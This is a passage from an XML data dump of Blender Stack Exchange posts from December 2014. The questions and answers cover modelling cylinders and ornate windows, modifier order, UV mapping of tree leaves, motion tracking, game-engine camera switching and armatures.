/&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result with a &lt;em&gt;Subsurf Modifier&lt;/em&gt; added:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vJXrt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Method 2&lt;/h2&gt;&#xA;&lt;p&gt;(Suggested by Leon Cheung)&#xA;Select the edges of the scaled cube like so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7uFVX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press Ctrl-B for Bevel adjust the radius by moving the mouse and add cuts by turning the mouse wheel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQ6jf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Result after adding and scaling a loop cut around z-axis and sub-surfing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iZirC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-06T10:44:01.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19632" PostTypeId="2" ParentId="19589" CreationDate="2014-12-06T11:42:55.243" Score="2" Body="&lt;p&gt;It sounds like an issue you get when the modifiers are in the wrong order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UL3DP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modifiers are applied from the top down. In this example the particles are generated then the armature deforms the mesh which leaves the particles behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that the modifier for the particles or smoke is last in the list. Use the little up/down arrows to the right re-arrange the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to alter the gravity settings for the particles to alter their direction. Particles usually fall down by default, you also only need a lifetime of one frame for them to generate smoke. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Force_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;Force fields&lt;/a&gt; can also be used to control the flow of particles and smoke.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-06T11:42:55.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19633" PostTypeId="1" AcceptedAnswerId="19636" CreationDate="2014-12-06T12:42:04.997" Score="3" ViewCount="438" Body="&lt;p&gt;A tree model with leaves looks like (created by sapling addon):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzGIs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using unwrap and reset shows orientation issues like a leaves stem pointing to the outside instead of the branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RhDlG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before UV reset the UV-map shows this pattern, some leave pairs are upright and some are rotated by 90°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u1pUR.png&quot; alt=&quot;I tried various selection methods with s&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should all the UV islands be rotated to match the images orientation? Is there a method that is less time consuming than manual select and transform?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried almost all options from &lt;em&gt;Mesh&lt;/em&gt; / &lt;em&gt;Select&lt;/em&gt; / &lt;em&gt;Similar&lt;/em&gt; to unwrap at least the upright and rotated pairs of faces separately.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-13T17:36:10.920" Title="How can many faces be mapped to a texture?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19634" PostTypeId="1" CreationDate="2014-12-06T12:51:49.310" Score="1" ViewCount="244" Body="&lt;p&gt;After applying vertex paint to my object the displacement is somehow stretched. I dont know if this is really the reason though. Because it is still stretched when i remove the vertex colors. Does anyone have an idea how i can fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displacement is achieved with a noise node on the displacement value of the material, nothing fancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzMch.jpg&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/R53dh.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8359" LastActivityDate="2014-12-06T12:51:49.310" Title="Cycles: Displacement suddenly stretched" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-12-07T18:46:49.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="19635" PostTypeId="2" ParentId="19580" CreationDate="2014-12-06T13:19:33.660" Score="5" Body="&lt;p&gt;Curves can be a little different from editing meshes but with a little practice can be easy to work with. The array and mirror modifiers also work with curves to help you get the symmetry you are after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ok1o3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have one small curve with an array and a mirror. You can see the red handles on the real curve piece. To get some thickness to the curve you only need to turn up the bevel depth. You can also use another curve as a bevel object to get a unique shape extruded along the length of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jpjyt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a bad join between the array pieces like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qffuq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can enable merge in the array modifier and increase the merge distance if needed. You should also adjust the handles on the curve so that the start and end of the curve are pointing straight at each other for a clean merge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gCPcV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you have a non-circular bevel shape you may want to twist the points using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;. With a square bevel you can get the twisted look you get on iron gates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A0E8T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can easily convert the curve to a mesh object with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-06T13:19:33.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19636" PostTypeId="2" ParentId="19633" CreationDate="2014-12-06T14:19:32.030" Score="3" Body="&lt;p&gt;My advice is to switch your leave settings from Hexoganol to Rectangular. This will make single planes without cuts (extra edges) with 1 origin and it will unwrap as a single plane (like resetting the uv map). It is then easier to make adjustments for the direction of the leaves and will effect all the leaves in the same way (from the root). I don't know of any other workflow's for this situation. &lt;/p&gt;&#xA;" OwnerUserId="8360" LastActivityDate="2014-12-06T14:19:32.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19638" PostTypeId="1" AcceptedAnswerId="19712" CreationDate="2014-12-06T16:21:09.433" Score="13" ViewCount="2775" Body="&lt;p&gt;I'm kind of new to motion tracking, and I need some help. I'm trying to replace the face on some footage of a LEGO minifigure. (You can see the footage in the GIF below):&lt;img src=&quot;https://i.stack.imgur.com/inDZM.gif&quot; alt=&quot;Original footage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I added tracking markers to the eyes and mouth of my minifigure, and tracked them. When I go to Reconstruction&gt;Link Empty to Track, it makes empties in my 3D view. They look fine from the camera angle, but in 3D space, all of the empties are lined up throughout the entire frame sequence, they just wobble around instead of move in 3D space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cBugR.gif&quot; alt=&quot;Tracking empties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since they don't move in 3D space, my new 3D face I am trying to add will not rotate with the head, instead, it just sticks there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wOoln.gif&quot; alt=&quot;Incorrect tracking breaks mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, what do I need to do to do this? The face needs to rotate. The backface culling will take care of the other side of it so it isn't seen, but my tracking markers are not moving correctly, so it ruins the entire thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance! =D&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="1828" LastEditDate="2014-12-06T16:27:10.323" LastActivityDate="2014-12-15T09:59:24.740" Title="Motion tracking round objects" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19639" PostTypeId="1" AcceptedAnswerId="19660" CreationDate="2014-12-06T16:28:52.840" Score="3" ViewCount="855" Body="&lt;p&gt;How to draw custom faces/lines/points in 3D space with python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like &lt;a href=&quot;http://cgcookie.com/blender/2014/10/09/retopology-tool-polystrips-released/&quot; rel=&quot;nofollow&quot;&gt;this addon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need just a simple example of how to draw these elements. &lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="599" LastEditDate="2014-12-06T18:29:16.037" LastActivityDate="2014-12-07T05:38:28.853" Title="How to draw custom elements with python?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19640" PostTypeId="2" ParentId="19630" CreationDate="2014-12-06T16:29:12.277" Score="4" Body="&lt;p&gt;Here's how I would go to create a cylinder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my cube;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j6WDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add a &lt;strong&gt;Subdivision Surface&lt;/strong&gt; modifier. (change the number of divisions based on how smooth you want your cylinder to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTdLN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the cube now looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0e3dx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to go into &lt;em&gt;edit mode&lt;/em&gt; and select the top and bottom faces (edge select)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zs4Is.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;N&lt;/kbd&gt; to open the properties window. look for the &lt;em&gt;Mean Crease&lt;/em&gt; option under &lt;em&gt;Transform&lt;/em&gt;. Set it all the way up (1.00).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/666if.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what it'll look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V92pE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just &lt;kbd&gt;Tab&lt;/kbd&gt; out of edit made and you've got a wonderful cylinder. (apply the subdivision surface if needed.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wtZ8C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-06T16:29:12.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19641" PostTypeId="1" CreationDate="2014-12-06T17:01:30.100" Score="0" ViewCount="518" Body="&lt;p&gt;I'm new to blender and i need to makee a small 3d platform level for school. I followed a tutorial and built my level inside an UV Sphere so it would get a background image. in my case, to simulate the Space. The problem is, i've done one level already and its all good. But in this second one, whenever i try to switch to camera view, theres this gray circle and i cannot render the texture of the sphere. Whats goin on ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Heres the image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0TlE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2 : I already changed the clipping end parameter. Still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT3: &lt;img src=&quot;https://i.stack.imgur.com/LEJrR.jpg&quot; alt=&quot;Tried clip from 100 to 50000&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7924" LastEditorUserId="7924" LastEditDate="2014-12-06T18:01:19.813" LastActivityDate="2014-12-06T18:01:19.813" Title="Blender Camera shows gray circle" Tags="&lt;camera&gt;" AnswerCount="0" CommentCount="19" ClosedDate="2014-12-06T23:25:28.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="19642" PostTypeId="1" AcceptedAnswerId="19713" CreationDate="2014-12-06T18:43:16.603" Score="1" ViewCount="459" Body="&lt;p&gt;I am making a game in Blender 2.72, but in version 1.5a I decided to make a multiple camera view feature. I want it so that when you press &lt;kbd&gt;C&lt;/kbd&gt; or &lt;kbd&gt;F3&lt;/kbd&gt;(both are to do the same thing) the cameras will switch. I tried some tutorials, in which it was shown that actuators should work. I did all as said, but when I tested the game, it did not work as expected. I tried two different ways:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.State 1&#xA;Keyboard C ------ And (state1) -------- State (set: 2)&#xA;Kayboard F3 ------/                  \- Scene (set camera: cam2)&#xA;State 2&#xA;Keyboard C ------ And (state2) ----------- State (set:1)&#xA;Keyboard F3 ---/                       \-- Scene (set camera: cam1)&#xA;&#xA;2. State 1&#xA;Always(pulse) ------- And(state1) --------- Scene (set camera: cam1)&#xA;Keyboard C --------- And(state1) ---------- State (set: 2)&#xA;Keyboard F3 --/&#xA;State 2&#xA;Always(pulse) --------And(state2) ---------Scene (set camera: cam2)&#xA;Keyboard C ----------- And(state2) -------- State (set:1)&#xA;Keyboard F3 --/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Neither of these methods appears to have worked.&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="6204" LastEditDate="2014-12-06T19:05:25.930" LastActivityDate="2014-12-08T16:20:38.617" Title="Camera switching in blender game engine 2.72" Tags="&lt;game-engine&gt;&lt;camera&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19643" PostTypeId="2" ParentId="19288" CreationDate="2014-12-06T19:13:50.740" Score="1" Body="&lt;p&gt;I am not sure I understood this, but...&#xA;If your weapon does not stay stuck out when you press key to do it, than your logic syntax should be like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Always(pulsed) -&amp;gt; And(state1) -&amp;gt; Weapon not stucked out(IDK what do you use for it)&#xA;Keyboard(the key to switch) -&amp;gt; And(state1) -&amp;gt; State(set state: 2)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Always(pulsed) -&amp;gt; And(state2) -&amp;gt; Weapon stucked out&#xA;Keyboard(the key to switch) -&amp;gt; And(state2) -&amp;gt; State(set state: 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work, but I am not sure so that is what you want. Anyway, in my game this syntax did not for for some reason. I use 2.72b. When I did it all, it just did not change state when I pressed the key to do it in-game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with it, anyway!;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;If you ask how to make weapon position in each of the states, use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For weapon equiped:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make tabs as in default view(3Dview in center, timeline on bottom)&#xA;Select first frame.&#xA;Position weapon as you need it to be positioned.&#xA;Press I and select LocRotScale.&#xA;Go to logic tab and in Weapon not stucked out(which I shown on top) select action.&#xA;Make it play, TheWeaponMeshNameAction in list of aviable actions and frist frame:1, end frame: 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the same for weapon unequipped, but put it in frame 2 and select frame 2 in action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In second state I would reccomend you to make weapon placed in character's belt or something...&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2014-12-06T19:24:08.297" LastActivityDate="2014-12-06T19:24:08.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19645" PostTypeId="2" ParentId="3526" CreationDate="2014-12-06T20:09:19.817" Score="4" Body="&lt;p&gt;If you get the vertices close enough to prevent accidental merges, you can use the UV editor's &quot;remove doubles&quot; feature. It dosen't actually delete vertices like the 3d version, but it does perfectly stack them.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-12-06T20:09:19.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19646" PostTypeId="1" CreationDate="2014-12-06T20:59:04.793" Score="0" ViewCount="1115" Body="&lt;p&gt;Whenever i try to pose my model, it automatically mirrors the pose on the x-axis. Fx whenever i try to lift the right leg, the left leg does the same. How do I get rid of that? I'm using Blender v2.72.&#xA;Thankyou!&lt;/p&gt;&#xA;" OwnerUserId="8365" LastActivityDate="2014-12-06T20:59:04.793" Title="Pose automatically mirrors" Tags="&lt;rigging&gt;&lt;mirror&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19648" PostTypeId="1" AcceptedAnswerId="19654" CreationDate="2014-12-06T21:32:24.217" Score="7" ViewCount="2238" Body="&lt;p&gt;I'm stumped. Two hours now and I can't get it to work. How would you make this window? You are a godsend if you can help. (see the little red circle on the image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create the outer part of it, but unlike a square window which I have no issues with (extruding in, deleting faces, etc), I can't figure this one out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2DhK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qi6YH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8041" LastEditorUserId="599" LastEditDate="2014-12-06T23:38:01.670" LastActivityDate="2014-12-06T23:38:01.670" Title="How to model a complex shape like this ornate window?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19651" PostTypeId="1" AcceptedAnswerId="19689" CreationDate="2014-12-06T21:42:24.377" Score="3" ViewCount="350" Body="&lt;p&gt;I've got a single texture that a couple dozen mesh objects are mapped to different bits of. I'd like to say, double the height of the texture so I have room to add some more things, which would require scaling the UVs on all these objects by 0.5y from the top. Is there some straightforward way to manage this automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to just add an extra texture for what I'm doing since it's a relativly minor detail, and since I'm exporting this for a game I don't want the extra draw calls and two .dds files that that would involve.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2014-12-08T04:45:20.600" LastActivityDate="2015-01-07T05:19:33.353" Title="Is there an efficient way to scale UVs on many objects at once?" Tags="&lt;scripting&gt;&lt;uv&gt;&lt;objects&gt;&lt;editing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19653" PostTypeId="2" ParentId="19648" CreationDate="2014-12-06T22:05:12.927" Score="8" Body="&lt;p&gt;If you look at your vertices, the lines are going perpendicularly to the spokes on the window. What you want is to add a circle (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Mesh &gt; Circle)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XVFCA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Tab&lt;/kbd&gt; then &lt;kbd&gt;E&lt;/kbd&gt;, then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; &gt; At Center.&#xA;Delete half (edit mode &lt;kbd&gt;B&lt;/kbd&gt; select half, &lt;kbd&gt;Delete&lt;/kbd&gt; &gt; Delete Vertices)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And add a wireframe modifier (Modifiers &gt; Add Modifier &gt; Wireframe).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZjObn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should get something like this, which can then be edited to fit your specific needs.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IIEfM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTICE: The initial subdivision of the circle will directly affect the resulting number of spokes!&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-06T22:05:12.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19654" PostTypeId="2" ParentId="19648" CreationDate="2014-12-06T22:36:06.057" Score="17" Body="&lt;p&gt;There are &lt;strong&gt;many&lt;/strong&gt; possible ways you could go about it, but perhaps this will give you some ideas.&lt;/p&gt;&#xA;&lt;p&gt;Instead of thinking of the window as a solid chunk, think about the separate parts (sill, frame, bar things, glass, etc.) as, well, separate.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Model the frame:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/WatchfulEquatorialKatydid.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the bar things as separate parts:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/DisloyalWholeBumblebee.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the glass:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/NauticalHardtofindIndigowingedparrot.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;em&gt;The result here is admittedly pretty terrible, but in my defense I was hurrying so that the the gifs wouldn't be too big.. If you spend a little more time adding details to each of the components, you can get something more like this:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/594C8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;By adding even more detail (e.g. screws) to the places were parts are attached, you might make it even more believable.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-06T22:36:06.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19655" PostTypeId="1" CreationDate="2014-12-07T00:11:22.960" Score="8" ViewCount="4910" Body="&lt;p&gt;How can one go about generating a point cloud from the surfaces/faces of a model?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially the models are going to be fairly simple (just cubes, cylinders, and spheres), but eventually the models will be progressing on to more complicated shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The type of point cloud that I need to generate needs to be similar to the point cloud that would result from a laser scanner. So I do not need any edge or vertex information, just a point for every face of the mesh.&lt;/p&gt;&#xA;" OwnerUserId="8371" LastEditorUserId="6204" LastEditDate="2016-12-19T13:31:36.690" LastActivityDate="2019-12-18T14:43:33.733" Title="How can I create a point cloud from the surfaces of a model?" Tags="&lt;scripting&gt;&lt;point-clouds&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19656" PostTypeId="1" AcceptedAnswerId="19658" CreationDate="2014-12-07T02:44:30.363" Score="7" ViewCount="651" Body="&lt;p&gt;Let's say I'm &lt;em&gt;really&lt;/em&gt; new to Blender, and have just barely figured out what keyframes are for. Explain a Blender skeleton to me like I'm five. Do I need to use it, and how exactly does it connect to the rest of the model?&lt;/p&gt;&#xA;" OwnerUserId="8375" LastEditorUserId="2217" LastEditDate="2014-12-07T04:17:26.820" LastActivityDate="2014-12-07T04:17:26.820" Title="How are bones &amp; armatures connected to the rest of a model?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19658" PostTypeId="2" ParentId="19656" CreationDate="2014-12-07T03:34:15.433" Score="8" Body="&lt;p&gt;OOOkay.This is &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Armature in a Nutshell&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Armatures and bones are for posing stuff, just like you would wiggle your arms and nod your head. All of your bones move whenever you move.&#xA;Same thing for blender bones, they help stuff move and get into different poses, like statues. (okay I'm gonna stop the five-year-old thing now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is make an armature that looks kinda like the shape of a skeleton.&#xA;See the stuff highlighted in orange? That's his skeleton. each one of those tetrahedron shapes is a bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQqQl.png&quot; alt=&quot;Armatue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can make an armature like this by going into &lt;strong&gt;Edit Mode&lt;/strong&gt; and extruding the bones by pressing &lt;kbd&gt;E&lt;/kbd&gt;. When you do this you want to make it the shape of your model. See how it all is the shape of the robot-guy-thing? It's actually inside him, i just turned on an option called &lt;em&gt;X-Ray&lt;/em&gt; so I could see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build your armature until you think it looks good enough to be the moving skeleton of your model.Once this is completed, parent the object to the selected bones using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;strong&gt;With automatic weights&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This'll make the armature move the model when it moves. To try this, switch to &lt;em&gt;Pose Mode&lt;/em&gt; and right click on a bone you wan to move. Press &lt;kbd&gt;R&lt;/kbd&gt; to move a bone around, watch your model follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a very basic explanation and i'm kinda gritting my teeth right now not to write a novel on it but you'll find a lot more stuff as you get better with Blender.&#xA;If you want to see some of it, and it's pretty complicated, just search IK on this site. Your brain will go boom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if I went to long.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-07T03:34:15.433" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19659" PostTypeId="1" CreationDate="2014-12-07T05:11:45.043" Score="8" ViewCount="599" Body="&lt;p&gt;I created a scene in which the camera goes towards a cylinder with a rock texture on the inside. But from whatever angle I play it, there is this weird noise, but unlike regular noise, it stays the exact same and follows the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is like there is a picture on the camera that has an Overlay like blending mode and just shows between the camera and the texture. Does anybody have an Idea where this texture may be coming from? Here is &lt;a href=&quot;https://www.youtube.com/watch?v=-bMibsGkzrI&quot;&gt;sample of it on youtube&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8376" LastEditorUserId="599" LastEditDate="2014-12-07T12:09:46.540" LastActivityDate="2015-12-18T10:13:17.130" Title="What is this noisy shadow overlay that stays with the camera?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
